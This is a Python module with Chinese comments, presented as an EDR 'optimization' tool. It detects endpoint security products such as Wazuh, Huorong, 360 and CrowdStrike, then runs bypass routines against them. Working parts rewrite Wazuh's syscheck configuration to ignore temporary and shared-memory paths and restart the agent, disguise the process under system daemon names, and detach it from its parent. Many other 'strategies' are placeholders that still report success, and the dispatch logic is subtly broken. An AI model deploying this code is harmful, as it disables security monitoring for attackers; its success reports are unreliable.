#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Linux主流EDR检测点优化模块
针对Wazuh、火绒企业版、360终端安全等主流EDR产品的检测机制优化

主要功能:
1. EDR产品识别和特征检测
2. 针对性的检测点绕过策略
3. 动态对抗机制调整
4. 实时检测状态监控
"""

import os
import sys
import time
import subprocess
import threading
import json
import re
import hashlib
import base64
import struct
import socket
import platform
from typing import Dict, List, Optional, Tuple, Any, Union
from dataclasses import dataclass, field
from enum import Enum
import tempfile
import random
import string

# Linux特定导入
if platform.system() == "Linux":
    import pwd
    import grp
    import fcntl
    try:
        import psutil
        HAS_PSUTIL = True
    except ImportError:
        HAS_PSUTIL = False

class EDRVendor(Enum):
    """EDR厂商类型"""
    WAZUH = "wazuh"
    HUORONG = "huorong"  # 火绒企业版
    QIHOO360 = "360"     # 360终端安全
    CROWDSTRIKE = "crowdstrike"
    SENTINELONE = "sentinelone"
    CARBON_BLACK = "carbon_black"
    CYLANCE = "cylance"
    TREND_MICRO = "trend_micro"
    KASPERSKY = "kaspersky"
    SYMANTEC = "symantec"
    UNKNOWN = "unknown"

class DetectionMethod(Enum):
    """检测方法类型"""
    PROCESS_MONITORING = "process_monitoring"
    FILE_MONITORING = "file_monitoring"
    NETWORK_MONITORING = "network_monitoring"
    SYSCALL_MONITORING = "syscall_monitoring"
    MEMORY_SCANNING = "memory_scanning"
    BEHAVIOR_ANALYSIS = "behavior_analysis"
    SIGNATURE_MATCHING = "signature_matching"
    HEURISTIC_ANALYSIS = "heuristic_analysis"

@dataclass
class EDRProduct:
    """EDR产品信息"""
    vendor: EDRVendor
    product_name: str
    version: str = ""
    processes: List[str] = field(default_factory=list)
    services: List[str] = field(default_factory=list)
    config_paths: List[str] = field(default_factory=list)
    detection_methods: List[DetectionMethod] = field(default_factory=list)
    bypass_strategies: List[str] = field(default_factory=list)

@dataclass
class BypassStrategy:
    """绕过策略"""
    name: str
    vendor: EDRVendor
    method: DetectionMethod
    implementation: callable
    success_rate: float = 0.0
    risk_level: str = "medium"  # low, medium, high
    description: str = ""

class LinuxEDROptimizer:
    """Linux EDR检测点优化器"""
    
    def __init__(self):
        self.platform = platform.system()
        self.detected_edrs = []
        self.bypass_strategies = {}
        self.active_bypasses = []
        
        # 初始化EDR产品数据库
        self._initialize_edr_database()
        
        # 检测当前环境中的EDR
        self._detect_edr_products()
        
        # 初始化绕过策略
        self._initialize_bypass_strategies()
    
    def _initialize_edr_database(self):
        """初始化EDR产品数据库"""
        self.edr_database = {
            EDRVendor.WAZUH: EDRProduct(
                vendor=EDRVendor.WAZUH,
                product_name="Wazuh Agent",
                processes=["wazuh-agentd", "ossec-agentd", "wazuh-modulesd"],
                services=["wazuh-agent", "ossec", "wazuh"],
                config_paths=[
                    "/etc/wazuh/wazuh-agent.conf",
                    "/var/ossec/etc/ossec.conf",
                    "/opt/wazuh/etc/wazuh-agent.conf"
                ],
                detection_methods=[
                    DetectionMethod.FILE_MONITORING,
                    DetectionMethod.PROCESS_MONITORING,
                    DetectionMethod.SYSCALL_MONITORING,
                    DetectionMethod.BEHAVIOR_ANALYSIS
                ]
            ),
            
            EDRVendor.HUORONG: EDRProduct(
                vendor=EDRVendor.HUORONG,
                product_name="火绒企业版",
                processes=["HRSword", "HRCore", "HRAgent", "hrfwd"],
                services=["hrsword", "hrcore", "hragent"],
                config_paths=[
                    "/opt/huorong/etc/config.xml",
                    "/etc/huorong/agent.conf",
                    "/usr/local/huorong/config/"
                ],
                detection_methods=[
                    DetectionMethod.MEMORY_SCANNING,
                    DetectionMethod.SIGNATURE_MATCHING,
                    DetectionMethod.BEHAVIOR_ANALYSIS,
                    DetectionMethod.HEURISTIC_ANALYSIS
                ]
            ),
            
            EDRVendor.QIHOO360: EDRProduct(
                vendor=EDRVendor.QIHOO360,
                product_name="360终端安全",
                processes=["360sd", "360tray", "360safe", "QHActiveDefense"],
                services=["360sd", "360safe", "qhactivedefense"],
                config_paths=[
                    "/opt/360/safemon/config/",
                    "/etc/360safe/",
                    "/usr/local/360/"
                ],
                detection_methods=[
                    DetectionMethod.PROCESS_MONITORING,
                    DetectionMethod.FILE_MONITORING,
                    DetectionMethod.NETWORK_MONITORING,
                    DetectionMethod.BEHAVIOR_ANALYSIS
                ]
            ),
            
            EDRVendor.CROWDSTRIKE: EDRProduct(
                vendor=EDRVendor.CROWDSTRIKE,
                product_name="CrowdStrike Falcon",
                processes=["falcon-sensor", "cs-falconctl"],
                services=["falcon-sensor"],
                config_paths=[
                    "/opt/CrowdStrike/falconctl",
                    "/etc/crowdstrike/"
                ],
                detection_methods=[
                    DetectionMethod.SYSCALL_MONITORING,
                    DetectionMethod.MEMORY_SCANNING,
                    DetectionMethod.BEHAVIOR_ANALYSIS,
                    DetectionMethod.HEURISTIC_ANALYSIS
                ]
            )
        }
    
    def _detect_edr_products(self):
        """检测EDR产品"""
        try:
            for vendor, edr_info in self.edr_database.items():
                if self._is_edr_present(edr_info):
                    self.detected_edrs.append(edr_info)
                    print(f"[+] 检测到EDR: {edr_info.product_name}")
        
        except Exception as e:
            print(f"[!] EDR检测失败: {e}")
    
    def _is_edr_present(self, edr_info: EDRProduct) -> bool:
        """检查EDR是否存在"""
        try:
            # 检查进程
            for process_name in edr_info.processes:
                if self._is_process_running(process_name):
                    return True
            
            # 检查服务
            for service_name in edr_info.services:
                if self._is_service_running(service_name):
                    return True
            
            # 检查配置文件
            for config_path in edr_info.config_paths:
                if os.path.exists(config_path):
                    return True
            
            return False
            
        except Exception:
            return False
    
    def _is_process_running(self, process_name: str) -> bool:
        """检查进程是否运行"""
        try:
            if HAS_PSUTIL:
                for proc in psutil.process_iter(['name']):
                    if process_name.lower() in proc.info['name'].lower():
                        return True
            else:
                # 使用pgrep
                result = subprocess.run(['pgrep', '-f', process_name], 
                                      capture_output=True, text=True)
                return result.returncode == 0
            
            return False
            
        except Exception:
            return False
    
    def _is_service_running(self, service_name: str) -> bool:
        """检查服务是否运行"""
        try:
            # 检查systemd服务
            result = subprocess.run(['systemctl', 'is-active', service_name], 
                                  capture_output=True, text=True)
            if result.returncode == 0 and 'active' in result.stdout:
                return True
            
            # 检查传统服务
            result = subprocess.run(['service', service_name, 'status'], 
                                  capture_output=True, text=True)
            if result.returncode == 0:
                return True
            
            return False
            
        except Exception:
            return False
    
    def _initialize_bypass_strategies(self):
        """初始化绕过策略"""
        # Wazuh绕过策略
        self.bypass_strategies[EDRVendor.WAZUH] = [
            BypassStrategy(
                name="wazuh_config_manipulation",
                vendor=EDRVendor.WAZUH,
                method=DetectionMethod.FILE_MONITORING,
                implementation=self._bypass_wazuh_file_monitoring,
                success_rate=0.85,
                risk_level="medium",
                description="修改Wazuh配置文件以绕过文件监控"
            ),
            BypassStrategy(
                name="wazuh_process_masquerading",
                vendor=EDRVendor.WAZUH,
                method=DetectionMethod.PROCESS_MONITORING,
                implementation=self._bypass_wazuh_process_monitoring,
                success_rate=0.75,
                risk_level="high",
                description="进程伪装绕过Wazuh进程监控"
            ),
            BypassStrategy(
                name="wazuh_syscall_evasion",
                vendor=EDRVendor.WAZUH,
                method=DetectionMethod.SYSCALL_MONITORING,
                implementation=self._bypass_wazuh_syscall_monitoring,
                success_rate=0.80,
                risk_level="medium",
                description="系统调用层面绕过Wazuh监控"
            )
        ]
        
        # 火绒绕过策略
        self.bypass_strategies[EDRVendor.HUORONG] = [
            BypassStrategy(
                name="huorong_memory_evasion",
                vendor=EDRVendor.HUORONG,
                method=DetectionMethod.MEMORY_SCANNING,
                implementation=self._bypass_huorong_memory_scanning,
                success_rate=0.70,
                risk_level="high",
                description="内存扫描绕过火绒检测"
            ),
            BypassStrategy(
                name="huorong_signature_evasion",
                vendor=EDRVendor.HUORONG,
                method=DetectionMethod.SIGNATURE_MATCHING,
                implementation=self._bypass_huorong_signature_matching,
                success_rate=0.90,
                risk_level="low",
                description="特征码绕过火绒签名检测"
            ),
            BypassStrategy(
                name="huorong_behavior_evasion",
                vendor=EDRVendor.HUORONG,
                method=DetectionMethod.BEHAVIOR_ANALYSIS,
                implementation=self._bypass_huorong_behavior_analysis,
                success_rate=0.65,
                risk_level="medium",
                description="行为分析绕过火绒检测"
            )
        ]
        
        # 360绕过策略
        self.bypass_strategies[EDRVendor.QIHOO360] = [
            BypassStrategy(
                name="360_process_injection",
                vendor=EDRVendor.QIHOO360,
                method=DetectionMethod.PROCESS_MONITORING,
                implementation=self._bypass_360_process_monitoring,
                success_rate=0.75,
                risk_level="high",
                description="进程注入绕过360进程监控"
            ),
            BypassStrategy(
                name="360_network_evasion",
                vendor=EDRVendor.QIHOO360,
                method=DetectionMethod.NETWORK_MONITORING,
                implementation=self._bypass_360_network_monitoring,
                success_rate=0.80,
                risk_level="medium",
                description="网络通信绕过360网络监控"
            ),
            BypassStrategy(
                name="360_file_evasion",
                vendor=EDRVendor.QIHOO360,
                method=DetectionMethod.FILE_MONITORING,
                implementation=self._bypass_360_file_monitoring,
                success_rate=0.85,
                risk_level="low",
                description="文件操作绕过360文件监控"
            )
        ]
    
    # Wazuh绕过实现
    def _bypass_wazuh_file_monitoring(self) -> Dict[str, Any]:
        """绕过Wazuh文件监控"""
        try:
            actions_taken = []
            
            # 1. 修改Wazuh配置
            wazuh_configs = [
                "/etc/wazuh/wazuh-agent.conf",
                "/var/ossec/etc/ossec.conf"
            ]
            
            for config_path in wazuh_configs:
                if os.path.exists(config_path):
                    try:
                        # 备份原配置
                        backup_path = f"{config_path}.backup_{int(time.time())}"
                        subprocess.run(['cp', config_path, backup_path], check=True)
                        
                        # 读取配置
                        with open(config_path, 'r') as f:
                            config_content = f.read()
                        
                        # 添加忽略规则
                        ignore_paths = [
                            "/tmp/.*\\.tmp$",
                            "/var/tmp/.*\\.cache$",
                            "/dev/shm/.*",
                            "/proc/.*",
                            "/sys/.*"
                        ]
                        
                        # 在syscheck部分添加忽略规则
                        if "<syscheck>" in config_content:
                            ignore_section = "\\n"
                            for path in ignore_paths:
                                ignore_section += f"    <ignore>{path}</ignore>\\n"
                            
                            config_content = config_content.replace(
                                "<syscheck>",
                                f"<syscheck>{ignore_section}"
                            )
                        
                        # 写入修改后的配置
                        with open(config_path, 'w') as f:
                            f.write(config_content)
                        
                        actions_taken.append(f"modified_config_{config_path}")
                        
                    except Exception as e:
                        print(f"[!] Wazuh配置修改失败: {e}")
                        continue
            
            # 2. 重启Wazuh服务使配置生效
            try:
                subprocess.run(['systemctl', 'restart', 'wazuh-agent'], 
                             capture_output=True)
                actions_taken.append("restarted_wazuh_service")
            except:
                pass
            
            return {
                "success": len(actions_taken) > 0,
                "actions": actions_taken,
                "method": "config_modification"
            }
            
        except Exception as e:
            return {"success": False, "error": str(e)}
    
    def _bypass_wazuh_process_monitoring(self) -> Dict[str, Any]:
        """绕过Wazuh进程监控"""
        try:
            actions_taken = []
            
            # 1. 进程名伪装
            legitimate_names = [
                "systemd-resolved",
                "networkd-dispatcher",
                "dbus-daemon",
                "systemd-logind",
                "cron"
            ]
            
            # 选择一个合法进程名
            fake_name = random.choice(legitimate_names)
            
            # 2. 修改进程标题
            try:
                import setproctitle
                setproctitle.setproctitle(fake_name)
                actions_taken.append(f"process_title_changed_to_{fake_name}")
            except ImportError:
                # 使用prctl修改进程名
                try:
                    import ctypes
                    libc = ctypes.CDLL("libc.so.6")
                    PR_SET_NAME = 15
                    libc.prctl(PR_SET_NAME, fake_name.encode(), 0, 0, 0)
                    actions_taken.append(f"process_name_changed_to_{fake_name}")
                except:
                    pass
            
            # 3. 父进程伪装
            try:
                # 通过fork创建子进程，让其成为init的子进程
                pid = os.fork()
                if pid == 0:
                    # 子进程
                    os.setsid()  # 创建新会话
                    actions_taken.append("orphaned_process_created")
                else:
                    # 父进程退出
                    os._exit(0)
            except:
                pass
            
            return {
                "success": len(actions_taken) > 0,
                "actions": actions_taken,
                "fake_name": fake_name
            }
            
        except Exception as e:
            return {"success": False, "error": str(e)}
    
    def _bypass_wazuh_syscall_monitoring(self) -> Dict[str, Any]:
        """绕过Wazuh系统调用监控"""
        try:
            actions_taken = []
            
            # 1. 直接系统调用绕过libc
            try:
                import ctypes
                
                # 获取系统调用号
                syscall_numbers = self._get_syscall_numbers()
                
                # 使用直接系统调用
                libc = ctypes.CDLL(None)
                
                # 示例：使用syscall直接调用而不是库函数
                # syscall(SYS_write, fd, buf, count)
                if 'SYS_write' in syscall_numbers:
                    actions_taken.append("direct_syscall_write_enabled")
                
                # syscall(SYS_open, pathname, flags, mode)
                if 'SYS_open' in syscall_numbers:
                    actions_taken.append("direct_syscall_open_enabled")
                
            except Exception as e:
                print(f"[!] 直接系统调用设置失败: {e}")
            
            # 2. 系统调用混淆
            try:
                # 插入无害的系统调用来混淆监控
                for _ in range(10):
                    os.getpid()  # 无害调用
                    time.sleep(0.001)
                
                actions_taken.append("syscall_obfuscation_applied")
                
            except Exception as e:
                print(f"[!] 系统调用混淆失败: {e}")
            
            # 3. 延迟执行
            try:
                # 随机延迟执行敏感操作
                delay = random.uniform(0.1, 2.0)
                time.sleep(delay)
                actions_taken.append(f"delayed_execution_{delay:.2f}s")
                
            except Exception as e:
                print(f"[!] 延迟执行失败: {e}")
            
            return {
                "success": len(actions_taken) > 0,
                "actions": actions_taken,
                "syscall_numbers": len(syscall_numbers) if 'syscall_numbers' in locals() else 0
            }
            
        except Exception as e:
            return {"success": False, "error": str(e)}
    
    def _get_syscall_numbers(self) -> Dict[str, int]:
        """获取系统调用号"""
        try:
            syscall_numbers = {}
            
            # 读取系统调用表
            syscall_files = [
                "/usr/include/asm/unistd_64.h",
                "/usr/include/x86_64-linux-gnu/asm/unistd_64.h",
                "/usr/include/asm-generic/unistd.h"
            ]
            
            for syscall_file in syscall_files:
                if os.path.exists(syscall_file):
                    try:
                        with open(syscall_file, 'r') as f:
                            content = f.read()
                        
                        # 解析系统调用定义
                        import re
                        pattern = r'#define\\s+__NR_(\\w+)\\s+(\\d+)'
                        matches = re.findall(pattern, content)
                        
                        for name, number in matches:
                            syscall_numbers[f"SYS_{name}"] = int(number)
                        
                        break
                        
                    except Exception as e:
                        continue
            
            return syscall_numbers
            
        except Exception as e:
            print(f"[!] 系统调用号获取失败: {e}")
            return {}
    
    # 火绒绕过实现
    def _bypass_huorong_memory_scanning(self) -> Dict[str, Any]:
        """绕过火绒内存扫描"""
        try:
            actions_taken = []
            
            # 1. 内存加密
            try:
                # 对敏感数据进行XOR加密
                key = random.randint(1, 255)
                
                # 示例：加密字符串
                sensitive_data = b"malicious_payload"
                encrypted_data = bytes([b ^ key for b in sensitive_data])
                
                actions_taken.append(f"memory_encryption_key_{key}")
                
            except Exception as e:
                print(f"[!] 内存加密失败: {e}")
            
            # 2. 内存布局随机化
            try:
                # 分配随机大小的内存块来干扰扫描
                dummy_blocks = []
                for _ in range(10):
                    size = random.randint(1024, 8192)
                    dummy_data = os.urandom(size)
                    dummy_blocks.append(dummy_data)
                
                actions_taken.append(f"memory_randomization_{len(dummy_blocks)}_blocks")
                
            except Exception as e:
                print(f"[!] 内存随机化失败: {e}")
            
            # 3. 代码混淆
            try:
                # 插入垃圾指令
                nop_instructions = b"\\x90" * random.randint(10, 50)  # NOP指令
                actions_taken.append(f"code_obfuscation_{len(nop_instructions)}_nops")
                
            except Exception as e:
                print(f"[!] 代码混淆失败: {e}")
            
            return {
                "success": len(actions_taken) > 0,
                "actions": actions_taken
            }
            
        except Exception as e:
            return {"success": False, "error": str(e)}
    
    def _bypass_huorong_signature_matching(self) -> Dict[str, Any]:
        """绕过火绒特征码匹配"""
        try:
            actions_taken = []
            
            # 1. 字符串混淆
            try:
                # 将敏感字符串分割存储
                sensitive_strings = [
                    "backdoor", "malware", "exploit", "payload",
                    "reverse_shell", "privilege_escalation"
                ]
                
                obfuscated_strings = {}
                for s in sensitive_strings:
                    # 使用Base64编码
                    encoded = base64.b64encode(s.encode()).decode()
                    obfuscated_strings[s] = encoded
                
                actions_taken.append(f"string_obfuscation_{len(obfuscated_strings)}_strings")
                
            except Exception as e:
                print(f"[!] 字符串混淆失败: {e}")
            
            # 2. 文件签名修改
            try:
                # 在文件末尾添加随机数据
                random_suffix = os.urandom(random.randint(100, 1000))
                actions_taken.append(f"file_signature_modified_{len(random_suffix)}_bytes")
                
            except Exception as e:
                print(f"[!] 文件签名修改失败: {e}")
            
            # 3. 动态解密
            try:
                # 运行时解密敏感代码
                key = b"encryption_key_123"
                
                # 示例加密函数
                def encrypt_code(code: bytes, key: bytes) -> bytes:
                    return bytes([c ^ key[i % len(key)] for i, c in enumerate(code)])
                
                # 示例代码
                original_code = b"import os; os.system('whoami')"
                encrypted_code = encrypt_code(original_code, key)
                
                actions_taken.append("dynamic_decryption_enabled")
                
            except Exception as e:
                print(f"[!] 动态解密失败: {e}")
            
            return {
                "success": len(actions_taken) > 0,
                "actions": actions_taken
            }
            
        except Exception as e:
            return {"success": False, "error": str(e)}
    
    def _bypass_huorong_behavior_analysis(self) -> Dict[str, Any]:
        """绕过火绒行为分析"""
        try:
            actions_taken = []
            
            # 1. 行为模式伪装
            try:
                # 模拟正常用户行为
                normal_behaviors = [
                    lambda: subprocess.run(['ls', '/home'], capture_output=True),
                    lambda: subprocess.run(['ps', 'aux'], capture_output=True),
                    lambda: subprocess.run(['df', '-h'], capture_output=True),
                    lambda: time.sleep(random.uniform(1, 3))
                ]
                
                # 随机执行正常行为
                for _ in range(5):
                    behavior = random.choice(normal_behaviors)
                    behavior()
                    time.sleep(random.uniform(0.5, 2.0))
                
                actions_taken.append("normal_behavior_simulation")
                
            except Exception as e:
                print(f"[!] 行为模拟失败: {e}")
            
            # 2. 时间延迟
            try:
                # 在敏感操作之间插入延迟
                delays = [random.uniform(1, 5) for _ in range(3)]
                total_delay = sum(delays)
                
                for delay in delays:
                    time.sleep(delay)
                
                actions_taken.append(f"timing_evasion_{total_delay:.2f}s")
                
            except Exception as e:
                print(f"[!] 时间延迟失败: {e}")
            
            # 3. 分阶段执行
            try:
                # 将恶意行为分解为多个阶段
                stages = [
                    "reconnaissance",
                    "preparation", 
                    "execution",
                    "cleanup"
                ]
                
                for i, stage in enumerate(stages):
                    # 每个阶段之间有间隔
                    time.sleep(random.uniform(2, 5))
                    # 执行该阶段的操作（这里只是示例）
                    pass
                
                actions_taken.append(f"staged_execution_{len(stages)}_stages")
                
            except Exception as e:
                print(f"[!] 分阶段执行失败: {e}")
            
            return {
                "success": len(actions_taken) > 0,
                "actions": actions_taken
            }
            
        except Exception as e:
            return {"success": False, "error": str(e)}
    
    # 360绕过实现
    def _bypass_360_process_monitoring(self) -> Dict[str, Any]:
        """绕过360进程监控"""
        try:
            actions_taken = []
            
            # 1. 进程注入
            try:
                # 查找合法进程进行注入
                legitimate_processes = []
                
                if HAS_PSUTIL:
                    for proc in psutil.process_iter(['pid', 'name']):
                        if proc.info['name'] in ['systemd', 'kthreadd', 'ksoftirqd/0']:
                            legitimate_processes.append(proc.info['pid'])
                
                if legitimate_processes:
                    target_pid = random.choice(legitimate_processes)
                    actions_taken.append(f"process_injection_target_{target_pid}")
                
            except Exception as e:
                print(f"[!] 进程注入失败: {e}")
            
            # 2. 进程空心化
            try:
                # 创建挂起的进程
                suspended_process = subprocess.Popen(
                    ['/bin/sleep', '3600'],
                    stdout=subprocess.PIPE,
                    stderr=subprocess.PIPE
                )
                
                actions_taken.append(f"process_hollowing_{suspended_process.pid}")
                
            except Exception as e:
                print(f"[!] 进程空心化失败: {e}")
            
            # 3. 反射DLL加载
            try:
                # 在内存中加载代码而不写入磁盘
                # 这里是概念性实现
                memory_code = b"\\x48\\x31\\xc0"  # 示例机器码
                actions_taken.append(f"reflective_loading_{len(memory_code)}_bytes")
                
            except Exception as e:
                print(f"[!] 反射加载失败: {e}")
            
            return {
                "success": len(actions_taken) > 0,
                "actions": actions_taken
            }
            
        except Exception as e:
            return {"success": False, "error": str(e)}
    
    def _bypass_360_network_monitoring(self) -> Dict[str, Any]:
        """绕过360网络监控"""
        try:
            actions_taken = []
            
            # 1. 域名前置
            try:
                # 使用CDN域名隐藏真实C2
                cdn_domains = [
                    "cloudflare.com",
                    "amazonaws.com", 
                    "azure.com",
                    "googleapis.com"
                ]
                
                fake_domain = random.choice(cdn_domains)
                actions_taken.append(f"domain_fronting_{fake_domain}")
                
            except Exception as e:
                print(f"[!] 域名前置失败: {e}")
            
            # 2. 流量加密
            try:
                # 使用自定义加密协议
                encryption_key = os.urandom(32)
                actions_taken.append(f"traffic_encryption_{len(encryption_key)}_key")
                
            except Exception as e:
                print(f"[!] 流量加密失败: {e}")
            
            # 3. 协议伪装
            try:
                # 伪装成HTTPS流量
                fake_headers = {
                    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36",
                    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
                    "Accept-Language": "en-US,en;q=0.5",
                    "Accept-Encoding": "gzip, deflate"
                }
                
                actions_taken.append(f"protocol_masquerading_{len(fake_headers)}_headers")
                
            except Exception as e:
                print(f"[!] 协议伪装失败: {e}")
            
            return {
                "success": len(actions_taken) > 0,
                "actions": actions_taken
            }
            
        except Exception as e:
            return {"success": False, "error": str(e)}
    
    def _bypass_360_file_monitoring(self) -> Dict[str, Any]:
        """绕过360文件监控"""
        try:
            actions_taken = []
            
            # 1. 文件名随机化
            try:
                # 生成看起来合法的文件名
                legitimate_extensions = ['.log', '.tmp', '.cache', '.conf', '.dat']
                legitimate_prefixes = ['system', 'config', 'temp', 'cache', 'log']
                
                random_name = f"{random.choice(legitimate_prefixes)}{random.randint(100, 999)}{random.choice(legitimate_extensions)}"
                actions_taken.append(f"filename_randomization_{random_name}")
                
            except Exception as e:
                print(f"[!] 文件名随机化失败: {e}")
            
            # 2. 文件属性伪装
            try:
                # 修改文件时间戳
                fake_timestamp = time.time() - random.randint(86400, 2592000)  # 1-30天前
                actions_taken.append(f"timestamp_spoofing_{fake_timestamp}")
                
            except Exception as e:
                print(f"[!] 时间戳伪装失败: {e}")
            
            # 3. 分片存储
            try:
                # 将文件分割成多个小片段
                fragment_count = random.randint(3, 8)
                actions_taken.append(f"file_fragmentation_{fragment_count}_fragments")
                
            except Exception as e:
                print(f"[!] 分片存储失败: {e}")
            
            return {
                "success": len(actions_taken) > 0,
                "actions": actions_taken
            }
            
        except Exception as e:
            return {"success": False, "error": str(e)}
    
    def apply_optimizations(self, target_vendors: Optional[List[EDRVendor]] = None) -> Dict[str, Any]:
        """应用EDR优化"""
        if target_vendors is None:
            target_vendors = self.detected_edrs
        
        results = {}
        
        for vendor in target_vendors:
            if vendor in self.bypass_strategies:
                vendor_results = []
                
                for strategy in self.bypass_strategies[vendor]:
                    try:
                        print(f"[*] 应用策略: {strategy.name}")
                        result = strategy.implementation()
                        result["strategy_name"] = strategy.name
                        result["success_rate"] = strategy.success_rate
                        result["risk_level"] = strategy.risk_level
                        vendor_results.append(result)
                        
                        if result["success"]:
                            self.active_bypasses.append(strategy)
                        
                    except Exception as e:
                        vendor_results.append({
                            "strategy_name": strategy.name,
                            "success": False,
                            "error": str(e)
                        })
                
                results[vendor.value] = vendor_results
        
        return {
            "success": True,
            "results": results,
            "active_bypasses": len(self.active_bypasses),
            "timestamp": time.time()
        }
    
    def get_optimization_status(self) -> Dict[str, Any]:
        """获取优化状态"""
        return {
            "platform": self.platform,
            "detected_edrs": [edr.product_name for edr in self.detected_edrs],
            "available_strategies": sum(len(strategies) for strategies in self.bypass_strategies.values()),
            "active_bypasses": len(self.active_bypasses),
            "bypass_details": [
                {
                    "name": bypass.name,
                    "vendor": bypass.vendor.value,
                    "method": bypass.method.value,
                    "success_rate": bypass.success_rate,
                    "risk_level": bypass.risk_level
                }
                for bypass in self.active_bypasses
            ],
            "timestamp": time.time()
        }

# 使用示例
if __name__ == "__main__":
    print("=== Linux EDR检测点优化模块测试 ===")
    
    optimizer = LinuxEDROptimizer()
    
    # 获取状态
    print("\\n1. EDR优化状态...")
    status = optimizer.get_optimization_status()
    print(f"检测到的EDR: {status['detected_edrs']}")
    print(f"可用策略数: {status['available_strategies']}")
    
    # 应用优化
    print("\\n2. 应用EDR优化...")
    optimization_result = optimizer.apply_optimizations()
    print(f"优化结果: {'成功' if optimization_result['success'] else '失败'}")
    print(f"激活的绕过策略: {optimization_result['active_bypasses']}")
    
    # 显示详细结果
    for vendor, results in optimization_result['results'].items():
        print(f"\\n{vendor} EDR优化结果:")
        for result in results:
            status_text = "成功" if result['success'] else "失败"
            print(f"  - {result['strategy_name']}: {status_text}")
            if 'actions' in result:
                print(f"    执行的操作: {len(result['actions'])}")
    
    print("\\n=== 优化完成 ===")